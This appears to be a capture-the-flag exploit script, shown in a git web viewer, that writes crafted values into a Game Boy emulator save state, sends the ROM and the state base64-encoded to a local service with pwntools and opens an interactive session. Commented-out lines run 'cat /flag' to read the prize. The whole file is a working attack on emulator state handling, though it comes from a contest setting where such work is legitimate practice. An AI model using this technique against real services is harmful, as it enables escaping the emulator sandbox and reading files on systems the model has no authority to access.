blob: ec893072f1c6bc2f440e572b59157f6ed1c9476e (
plain) (
blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
#!/usr/bin/env python3
from base64 import b64encode
from sys import argv,exit
from pwn import *
context.log_level = "error"
rom = list(open("main.gb", "rb").read())
state = list(open("main.state", "rb").read())
for i,v in enumerate(struct.pack("<i", -0x13)):
state[0x10000+i] = v
for i,v in enumerate(struct.pack("<i", 1)):
state[0x10004+i] = v
if len(argv) > 1:
io = process(argv[1:])
else:
io = process("ncat localhost 1024".split())
io.sendline(b64encode(bytes(rom)))
io.sendline(b64encode(bytes(state)))
io.interactive()
# io.sendline(b"cat /flag")
# data = io.readuntil(b"CSCG", timeout=1)
# if data != b"":
# print(io.readline())
|
